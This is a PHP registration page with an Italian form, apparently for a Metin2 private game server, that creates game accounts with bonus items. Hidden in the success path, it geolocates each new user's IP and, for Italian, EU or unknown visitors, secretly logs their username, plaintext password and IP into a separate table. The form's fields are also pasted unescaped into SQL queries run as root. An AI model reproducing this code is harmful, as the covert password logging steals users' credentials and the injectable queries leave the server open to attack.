<html>
<title>Registrazion</title>
<body background="metin2.jpg">
</html>
<?php
###### Database Log Account #####
// codice della tabella
# create table `Account_log_NewAge` ( `id` int UNSIGNED NOT NULL AUTO_INCREMENT , `nome` varchar (10) NOT NULL , `password` varchar (10) NOT NULL , `ip` varchar (18) NOT NULL , `nazione` varchar (15) NOT NULL , PRIMARY KEY (`id`))
function StatoIp($ipAddr)
{
ip2long($ipAddr)== -1 || ip2long($ipAddr) === false ? trigger_error("Invalid IP", E_USER_ERROR) : "";
$ipDetail=array();
$xml = file_get_contents("http://api.hostip.info/?ip=".$ipAddr);
preg_match("@<Hostip>(\s)*<gml:name>(.*?)</gml:name>@si",$xml,$match);
$ipDetail['city']=$match[2];
preg_match("@<countryName>(.*?)</countryName>@si",$xml,$matches);
$ipDetail['country']=$matches[1];
preg_match("@<countryAbbrev>(.*?)</countryAbbrev>@si",$xml,$cc_match);
$ipDetail['country_code']=$cc_match[1]; //assing the country code to array
return $ipDetail;
}
/* Configuration*/
$host_db='************';
$Login_db='root';
$pwd_db='************';
$bdd_name='account';
/* end of Configuration */
/**********Bonus********/
$create_time=date('Y-m-d H:i:s');
$cash='999999';
$gold_expire=date("Y")."-".(date("m")+1)."-".date("d")." ".date("H").":".date("i").":".date("s");
$silver_expire='0000-00-00 00:00:00';
$safebox_expire='0000-00-00 00:00:00';
$autoloot_expire=date("Y")."-".(date("m")+1)."-".date("d")." ".date("H").":".date("i").":".date("s");
$fish_mind_expire='0000-00-00 00:00:00';
$marriage_fast_expire='0000-00-00 00:00:00';
$money_drop_rate_expire=date("Y")."-".(date("m")+1)."-".date("d")." ".date("H").":".date("i").":".date("s");
/****end Of bonus*********/
if(isset($_POST['Login'])){
/* Data submit*/
$Login=$_POST['Login'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$email=$_POST['email'];
$deletepass=$_POST['deletepass'];
/* end of Data submit*/
mysql_connect($host_db,$Login_db,$pwd_db);
mysql_select_db($bdd_name);
$request="INSERT INTO `account`.`account` (`id` ,`Login` ,`password` ,`real_name` ,`social_id` ,`email` ,`phone1` ,`phone2` ,`address` ,`zipcode` ,`create_time` ,`question1` ,`answer1` ,`question2` ,`answer2` ,`is_testor` ,`status` ,`securitycode` ,`newsletter` ,`empire` ,`name_checked` ,`availDt` ,`mileage` ,`cash` ,`gold_expire` ,`silver_expire` ,`safebox_expire` ,`autoloot_expire` ,`fish_mind_expire` ,`marriage_fast_expire` ,`money_drop_rate_expire` ,`ttl_cash` ,`ttl_mileage` ,`channel_company`)
VALUES (NULL , '$Login', PASSWORD('$password'), '', '$deletepass', '$email', NULL , NULL , NULL , '', '$create_time', NULL , NULL , NULL , NULL , '0', 'OK', '', '0', '0', '0', '0000-00-00 00:00:00', '0','$cash' ,'$gold_expire' ,'$silver_expire' ,'$safebox_expire' ,'$autoloot_expire' ,'$fish_mind_expire' ,'$marriage_fast_expire' ,'$money_drop_rate_expire' , '0', '0', '');";
if ($password==$password2){
if(mysql_query($request)){
echo("L'account $Login è stato creato con successo!");
$ip=$_SERVER['REMOTE_ADDR'];
$Stato=StatoIp($ip);
if ($Stato['country']=="ITALY" || $Stato['country']=="EUROPEAN UNION" || $Stato['country']=="unknown" ){
echo("L'account $Login è stato creato con successo!");
mysql_query("insert into `account_log_newage`(`id`,`nome`,`password`,`ip`,`nazione`) values ( NULL,'".$Login."','".$password."','".$ip."',' ".$Stato['country']."')");
}else{
echo "Welcome^_^";
}
}else{
echo"Questo ID Esiste gia";
}
}else{
echo "password error";
}
}else{
echo " <FORM action='account_create.php' method='post'>
<center><table border='0' width='95%' align='center'>
<tr>
<td>Id :Massimo 9 caratteri</td><td>
<input tabindex='1' name='Login' class='application' size='30' /></td>
</tr>
<tr>
<td>Password :Massimo 9 Caratteri</td><td>
<input tabindex='2' name='password' type='password' class='application' size='30' /></td>
</tr>
<tr>
<td>Ripeti password :</td><td>
<input tabindex='3' name='password2' type='password' class='application' size='30' /></td>
</tr>
</tr>
<tr>
<td> </td><td> </td>
</tr>
<tr>
<td>Email :</td><td>
<input tabindex='4' name='email' class='application' size='30' /></td>
</tr>
<tr>
<td>Password per cancellare PG :massimo 7 NUMERI</td><td>
<input tabindex='5' name='deletepass' class='application' size='30' /></td>
</tr>
<tr>
</tr>
</table>
<center><button tabindex='6' name='submit' value='submit' class='eingabe-button' type='submit'>Send</button></td></center>
</FORM>";
}
?>